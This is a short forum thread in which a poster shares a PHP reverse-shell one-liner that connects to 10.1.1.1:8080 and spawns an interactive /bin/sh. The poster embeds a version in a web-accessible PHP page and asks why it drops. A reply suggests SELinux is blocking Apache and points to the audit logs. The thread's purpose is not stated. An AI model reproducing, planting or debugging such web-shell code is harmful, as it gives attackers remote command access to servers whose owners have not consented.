PHP TCP Shell

Hello,

I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:

php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

However when ever I embed this code into my HTTP accessible web site as follows, I get a connection that drops straight away without spawning a shell:

<?php $sock=fsockopen("10.1.1.1",8080);exec("/bin/bash -i <&3 >&3 2>&3"); ?>

Is anyone able to point out where I am going wrong?

thanks,
Ll

I'd say there is a very good chance that SELinux is stopping Apache from executing a shell. You can imagine that this sort of thing could be quite dangerous on most systems.

You may find some audit logging info in /var/log/audit/audit.log or /var/log/messages